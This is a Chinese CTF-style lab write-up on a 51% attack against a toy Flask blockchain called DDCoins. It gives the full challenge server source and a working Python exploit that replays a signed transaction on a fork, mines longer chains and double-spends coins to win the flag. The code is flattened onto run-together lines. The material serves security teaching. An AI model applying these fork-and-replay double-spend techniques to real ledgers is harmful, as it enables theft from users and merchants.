区块链安全

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51%攻击实战

实验目的

1.理解并掌握区块链基本概念及区块链原理
2.理解区块链分又问题
3.理解掌握区块链51%算力攻击原理与利用
4.找到题目漏洞进行分析并形成利用

实验环境

1.Ubuntu18.04操作机

实验工具

1. python2

实验原理

1.在比特币网络里，你有多少钱，不是你说了算，而是大家说了算，每个人都是公证人。
2基于算力证明进行维护的比特而网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源超过全网过半的算力)，他就可以通过强大的算力幕改区块链上的账本，从而控制整个共识网络，这也被称为51%攻击。
3虽然这种攻击发生的可能性不是很大掌握这种算力的人本身就可以通过挖矿获得大受益，再去冒险算改账本很容易暴露自身)。仍然是理论上看: 一旦这种攻击被发现，比特币网络其他终端可以联合起来对已知的区块链进行硬分叉，全体否认非法的交易。
实验内容1.某银行利用区块链技术，发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成石的销售与清算过程。不幸的是，该银行被黑客入侵，私钢被窃取，维持区块链正常运转的矿机也全部宕机。现在，你能追回所有DDCoins，并且从商店购买2颗钻石么?2区块链是存在cokie里的，可能会因为区块链太长，浏览器不接受服务器返回的set-okie字段而导致区块链无法更新，因此强烈推荐写脚本发请求
3.实验地址为 http://ip:10000/b942f830cf97e ，详细见附件

攻击过程

serve.py文件内容如下

# -*- encoding: utf-8 -*-
# written in python 2.7import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, requestapp = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b942f830cf97e'def FLAG():return 'Here is your flag: flag{******************}'def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def has_attrs(d, attrs):if type(d) != type({}): raise Exception("Input should be a dict/JSON")for attr in attrs:if attr not in d:raise Exception("{} should be presented in the input".format(attr))EMPTY_HASH = '0'*64def addr_to_pubkey(address):return rsa.PublicKey(int(address, 16), 65537)def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeybank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()def sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return txdef hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return blockdef find_blockchain_tail():return max(session['blocks'].values(), key=lambda block: block['height'])def calculate_utxo(blockchain_tail):curr_block = blockchain_tailblockchain = [curr_block]while curr_block['hash'] != session['genesis_block_hash']:curr_block = session['blocks'][curr_block['prev']]blockchain.append(curr_block)blockchain = blockchain[::-1]utxos = {}for block in blockchain:for tx in block['transactions']:for input_utxo_id in tx['input']:del utxos[input_utxo_id]for utxo in tx['output']:utxos[utxo['id']] = utxoreturn utxosdef calculate_balance(utxos):balance = {bank_address: 0, hacker_address: 0, shop_address: 0}for utxo in utxos.values():if utxo['addr'] not in balance:balance[utxo['addr']] = 0balance[utxo['addr']] += utxo['amount']return balancedef verify_utxo_signature(address, utxo_id, signature):try:return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))except:return Falsedef append_block(block, difficulty=int('f'*64, 16)):has_attrs(block, ['prev', 'nonce', 'transactions'])if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])if block['prev'] not in session['blocks']: raise Exception("unknown parent block")tail = session['blocks'][block['prev']]utxos = calculate_utxo(tail)if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')new_utxo_ids = set()for tx in block['transactions']:has_attrs(tx, ['input', 'output', 'signature'])for utxo in tx['output']:has_attrs(utxo, ['amount', 'addr', 'id'])if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))new_utxo_ids.add(utxo['id'])if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")try:addr_to_pubkey(utxo['addr'])except:raise Exception("invalid type of address({})".format(utxo['addr']))utxo['hash'] = hash_utxo(utxo)tot_output = sum([utxo['amount'] for utxo in tx['output']])if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")tot_input = 0tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]for utxo_id, signature in zip(tx['input'], tx['signature']):if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))utxo = utxos[utxo_id]if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")if not verify_utxo_signature(utxo['addr'], utxo_id, signature):raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))tot_input += utxo['amount']del utxos[utxo_id]if tot_output > tot_input:raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))tx['hash'] = hash_tx(tx)block = create_block(block['prev'], block['nonce'], block['transactions'])block_hash = int(block['hash'], 16)if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')block['height'] = tail['height']+1if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')session['blocks'][block['hash']] = blocksession.modified = Truedef init():if 'blocks' not in session:session['blocks'] = {}session['your_diamonds'] = 0# First, the bank issued some DDCoins ...total_currency_issued = create_output_utxo(bank_address, 1000000)genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothinggenesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])session['genesis_block_hash'] = genesis_block['hash']genesis_block['height'] = 0session['blocks'][genesis_block['hash']] = genesis_block# Then, the bank was hacked by the hacker ...handout = create_output_utxo(hacker_address, 999999)reserved = create_output_utxo(bank_address, 1)transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])append_block(second_block)# Can you buy 2 diamonds using all DDCoins?third_block = create_block(second_block['hash'], 'a empty block', [])append_block(third_block)def get_balance_of_all():init()tail = find_blockchain_tail()utxos = calculate_utxo(tail)return calculate_balance(utxos), utxos, tail@app.route(url_prefix+'/')
def homepage():announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. 'balance, utxos, _ = get_balance_of_all()genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_addressbalance_info = 'Balance of all addresses: ' + json.dumps(balance)utxo_info = 'All utxos: ' + json.dumps(utxos)blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])view_source_code_link = "<a href='source_code'>View source code</a>"return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))@app.route(url_prefix+'/flag')
def getFlag():init()if session['your_diamonds'] >= 2: return FLAG()return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_addressdef find_enough_utxos(utxos, addr_from, amount):collected = []for utxo in utxos.values():if utxo['addr'] == addr_from:amount -= utxo['amount']collected.append(utxo['id'])if amount <= 0: return collected, -amountraise Exception('no enough DDCoins in ' + addr_from)def transfer(utxos, addr_from, addr_to, amount, privkey):input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)outputs = [create_output_utxo(addr_to, amount)]if the_change != 0:outputs.append(create_output_utxo(addr_from, the_change))return create_tx(input_utxo_ids, outputs, privkey)@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):balance, utxos, tail = get_balance_of_all()if balance[bank_address] == 0: return 'The bank has no money now.'try:address = str(address)addr_to_pubkey(address) # to check if it is a valid addresstransferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])append_block(new_block)return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + addressexcept Exception, e:return 'ERROR: ' + str(e)DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():init()try:block = json.loads(request.data)append_block(block, DIFFICULTY)msg = 'transaction finished.'except Exception, e:return str(e)balance, utxos, tail = get_balance_of_all()if balance[shop_address] == 1000000:# when 1000000 DDCoins are received, the shop will give you a diamondsession['your_diamonds'] += 1# and immediately the shop will store the money somewhere safe.transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])append_block(new_block)msg += ' You receive a diamond.'return msg# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():if 'blocks' in session: del session['blocks']if 'genesis_block_hash' in session: del session['genesis_block_hash']return 'reset.'@app.route(url_prefix+'/source_code')
def show_source_code():source = open('serve.py', 'r')html = ''for line in source:html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')source.close()return htmlif __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

使用python2编写自动化脚本实现上述过程：当POST第三个空块时，主链改变，黑客提走的钱被追回，通过转账后门与POST触发新增两个区块，总长为六块；接上第三个空块，POST到第六个空块时，主链再次改变，钱又重新回到银行，再次利用后门得到钻石（将url_prefix中的IP地址换成题目的IP地址）

exp.py

import requests, json, hashlib, rsaEMPTY_HASH = '0'*64def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeydef sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return tx# -------------- code copied from server.py END ------------def create_output_utxo(addr_to, amount):utxo = {'id': 'my_recycled_utxo', 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_block_with_PoW(prev_block_hash, transactions, difficulty, nonce_prefix='nonce-'):nonce_str = 0while True:nonce_str += 1nonce = nonce_prefix + str(nonce_str)block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)if int(block['hash'], 16) < difficulty: return blockurl_prefix = 'http://192.168.2.100:10000/b942f830cf97e'
s = requests.session()
my_address, my_privkey = gen_addr_key_pair()
print 'my address:', my_addressdef append_block(block):print '[APPEND]', s.post(url_prefix+'/create_transaction', data=json.dumps(block)).textdef show_blockchain():print s.get(url_prefix+'/').text.replace('<br />','')blocks = json.loads(s.get(url_prefix+'/').text.split('Blockchain Explorer: ')[1]).values()
genesis_block = filter(lambda i: i['height'] == 0, blocks)[0]# replay attack
attacked_block = filter(lambda i: i['height'] == 1, blocks)[0]
replayed_tx = attacked_block['transactions'][0]
replayed_tx['output'] = [create_output_utxo(my_address, 1000000)]
replayed_tx['hash'] = hash_tx(replayed_tx)DIFFICULTY = int('00000' + 'f' * 59, 16)
forked_block = create_block_with_PoW(genesis_block['hash'], [replayed_tx], DIFFICULTY)
append_block(forked_block)# generate 2 empty blocks behind to make sure our forked chain is the longest blockchain
prev = forked_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)show_blockchain()
print 'replay done. ------------------ '# now we have 1000000 DDCoins, transfer to the shop to buy diamond
shop_address = s.get(url_prefix+'/flag').text.split('1000000 DDCoins to ')[1]
output_to_shop = create_output_utxo(shop_address, 1000000)
utxo_to_double_spend = replayed_tx['output'][0]['id']
tx_to_shop = create_tx([utxo_to_double_spend], [output_to_shop], my_privkey)
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY)
append_block(new_block)# now we have 1 diamond and 0 DDCoin, we should double spend the "utxo_to_double_spend" by forking the blockchain again
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY, 'another-chain-nonce-')
append_block(new_block)
# append another 2 empty blocks to make sure this is the longest blockchain
prev = new_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)
# and the shop receive 1000000 DDCoins in this newly-forked blockchain... we have got another diamondshow_blockchain()
print '===================='
print s.get(url_prefix+'/flag').text